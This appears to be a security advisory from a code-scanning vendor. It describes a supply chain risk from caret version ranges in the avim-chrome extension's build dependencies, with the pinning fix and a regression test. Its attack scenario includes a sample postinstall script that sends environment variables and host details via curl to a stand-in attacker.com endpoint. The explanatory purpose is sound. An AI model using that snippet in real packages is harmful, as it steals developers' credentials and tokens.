The Vulnerability: Caret Ranges in avim-chrome's Build Dependencies
In the avim-chrome browser extension repository, a critical supply chain vulnerability existed in the package.json file at line 25. The devDependencies section used caret (^) version ranges for four critical build-time packages:
"devDependencies": {
"htmlclean": "^3.0.8",
"jshint": "^2.13.6",
"playwright-core": "1.62.1",
"terser": "^5.44.0",
"yazl": "^3.3.1"
}
The caret operator (^) tells npm to automatically install any version that doesn't modify the left-most non-zero digit. For "^3.0.8", npm will accept versions 3.0.8, 3.0.9, 3.1.0, 3.99.99, but not 4.0.0. For "^5.44.0", any version from 5.44.0 to 5.999.999 is acceptable.
This seemingly convenient feature created a dangerous attack surface. These four packages—htmlclean (HTML minification), jshint (JavaScript linting), terser (JavaScript minification), and yazl (ZIP creation)—all execute during the extension's build process. Any malicious code injected into an acceptable version range would automatically run on developer machines and CI/CD pipelines during npm install.
How the Attack Would Work
Let's trace a realistic attack scenario targeting the terser package:
-
Attacker compromises terser maintainer account: Through phishing, credential stuffing, or social engineering, an attacker gains access to an npm maintainer account for terser.
-
Malicious version published: The attacker publishes terser version 5.45.0 (within the
^5.44.0range) containing backdoor code:
// Malicious code injected into terser's postinstall script
const { execSync } = require('child_process');
const os = require('os');
// Exfiltrate environment variables (often contain API keys, tokens)
const sensitiveData = {
env: process.env,
hostname: os.hostname(),
user: os.userInfo()
};
// Send to attacker's server
execSync(`curl -X POST https://attacker.com/collect -d '${JSON.stringify(sensitiveData)}'`);
-
Automatic installation: When any developer runs
npm installor when the CI/CD pipeline builds the extension, npm automatically installs terser 5.45.0 because it satisfies the^5.44.0constraint. -
Code execution: The malicious postinstall script runs immediately, exfiltrating:
- AWS credentials from environment variables
- GitHub tokens used by CI/CD
- Private SSH keys
- Extension signing certificates
- Source code access tokens -
Build artifact compromise: The compromised terser could also inject malicious code directly into the minified extension bundle, distributing malware to all users who download the extension.
This isn't theoretical—similar attacks have succeeded in the wild. The event-stream incident (2018), ua-parser-js compromise (2021), and coa/rc attacks (2021) all exploited automatic dependency updates to inject malicious code into thousands of projects.
Why This Matters for avim-chrome
The avim-chrome extension is a Vietnamese input method tool for Chrome browsers. The compromised devDependencies would affect:
- Developer machines: Any contributor running
npm installwould execute malicious code - CI/CD pipeline: Automated builds would be compromised, potentially signing and distributing malicious extension versions
- End users: If malicious code entered the build artifacts, thousands of users who installed the extension would be affected
The stakes are particularly high because browser extensions have extensive permissions. A compromised extension could:
- Intercept all web traffic and keystrokes
- Steal credentials from banking and email sites
- Inject cryptocurrency miners
- Exfiltrate personal data from every website visited
The Fix: Exact Version Pinning
The security patch removes all caret operators, pinning each devDependency to an exact version:
"devDependencies": {
- "htmlclean": "^3.0.8",
- "jshint": "^2.13.6",
+ "htmlclean": "3.0.8",
+ "jshint": "2.13.6",
"playwright-core": "1.62.1",
- "terser": "^5.44.0",
- "yazl": "^3.3.1"
+ "terser": "5.51.2",
+ "yazl": "3.3.1"
}
Notice that playwright-core was already pinned to exact version 1.62.1—it was the only secure dependency specification in the original file.
The terser version was also upgraded from 5.44.0 to 5.51.2, likely to include security patches. However, future updates will now require explicit version changes in package.json, forcing code review of the dependency update.
The corresponding yarn.lock file was updated to reflect these exact versions:
-htmlclean@^3.0.8:
+htmlclean@3.0.8:
version "3.0.8"
resolved "https://registry.yarnpkg.com/htmlclean/-/htmlclean-3.0.8.tgz#cea451cf5399d4018386a57129489f2d630e62b0"
integrity sha512-pxe6KHAQFvn407iNVNs8jpQ43BSy0w2VJ7DOUrbl/wOOy33RgDR1IcOplYqseQBBcdJLEozzeL9RziGCdK2Zsg==
The Security Improvement
This change establishes a critical security boundary: no code can enter the build process without explicit review.
Before the fix:
- npm could install terser 5.44.1, 5.45.0, 5.50.0, or any version up to 5.999.999
- Developers had no visibility into version changes
- Compromised versions would be automatically adopted
After the fix:
- Only terser 5.51.2 will be installed
- Any version change requires modifying package.json
- Code review processes catch dependency updates
- Git history shows exactly when and why versions changed
The fix also includes a regression test to prevent reintroduction of flexible version ranges:
describe("devDependencies use exact version pinning to prevent supply chain attacks", () => {
const packageJsonPath = path.join(__dirname, 'package.json');
const exactVersionPattern = /^\d+\.\d+\.\d+$/;
test("all devDependencies are pinned to exact versions", () => {
const packageJson = JSON.parse(fs.readFileSync(packageJsonPath, 'utf8'));
const deps = packageJson.devDependencies || {};
Object.entries(deps).forEach(([name, version]) => {
const isExact = exactVersionPattern.test(version);
expect(isExact).toBe(true);
});
});
});
This test validates that every devDependency version matches the pattern X.Y.Z without any range operators. If a future contributor accidentally reintroduces ^ or ~, the CI pipeline will fail.
Prevention & Best Practices
1. Always Pin Production and Dev Dependencies
Apply exact versioning to all dependencies, not just devDependencies:
{
"dependencies": {
"express": "4.18.2", // Not "^4.18.2"
"lodash": "4.17.21" // Not "^4.17.21"
},
"devDependencies": {
"jest": "29.5.0", // Not "^29.5.0"
"eslint": "8.40.0" // Not "^8.40.0"
}
}
2. Use Lock Files Correctly
Commit package-lock.json (npm) or yarn.lock (Yarn) to version control. Lock files record the exact dependency tree installed, but they only protect after initial resolution. Exact pinning in package.json provides defense-in-depth.
3. Audit Dependencies Regularly
# Check for known vulnerabilities
npm audit
# Update dependencies intentionally, not automatically
npm outdated
npm update [package]@[specific-version]
4. Implement Dependency Review in CI/CD
Add automated checks to your pipeline:
# GitHub Actions example
- name: Check for flexible versioning
run: |
if grep -E '"\^|"~|">|"<|"\*' package.json; then
echo "Error: Flexible version ranges detected"
exit 1
fi
5. Use Subresource Integrity for CDN Dependencies
If loading dependencies from CDNs in browser contexts, use SRI hashes:
<script src="https://cdn.example.com/lib.js"
integrity="sha384-oqVuAfXRKap7fdgcCY5uykM6+R9GqQ8K/ux..."
crossorigin="anonymous"></script>
6. Monitor Dependency Health
Tools like Snyk, Dependabot, and Socket.dev can alert you to:
- Known vulnerabilities (CVEs)
- Suspicious package updates
- Maintainer account compromises
- Typosquatting attempts
7. Limit Dependency Scope
Minimize attack surface by:
- Using --save-dev for build-only tools (they won't be bundled)
- Auditing what dependencies actually do
- Removing unused dependencies regularly
- Preferring packages with few transitive dependencies
Key Takeaways
- Caret (^) and tilde (~) version ranges in package.json create automatic supply chain attack vectors by allowing npm to install newer versions without explicit approval
- The avim-chrome extension's htmlclean, jshint, terser, and yazl dependencies were vulnerable to version-range exploitation during the build process
- Exact version pinning (e.g., "5.51.2" instead of "^5.51.2") forces explicit review of all dependency updates through version control
- DevDependencies are just as dangerous as production dependencies because they execute during build and can compromise artifacts or exfiltrate secrets
- Regression tests that validate version pinning patterns prevent accidental reintroduction of flexible versioning
How Orbis AppSec Detected This
- Source: npm package registry (external, untrusted source of code)
- Sink:
npm installcommand during build process, which executes package install scripts and bundles code into the extension - Missing control: No constraint preventing automatic installation of unreviewed package versions within the caret range
- CWE: CWE-1104 (Use of Unmaintained Third Party Components), CWE-494 (Download of Code Without Integrity Check)
- Fix: Replaced all caret version ranges with exact version pins in package.json devDependencies
Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.
Conclusion
Supply chain attacks targeting dependency management are among the most dangerous threats to modern software development. The avim-chrome extension's use of caret version ranges in package.json created an exploitable window where compromised versions of htmlclean, jshint, terser, or yazl could automatically enter the build process.
By pinning all devDependencies to exact versions and implementing regression tests, this fix establishes a security boundary: no code enters the project without explicit review. This pattern should be standard practice for all Node.js projects, especially those with security-sensitive contexts like browser extensions.
Remember: convenience features like automatic version updates optimize for ease of use, but security requires intentional, reviewed decisions. Exact version pinning is a small price to pay for supply chain integrity.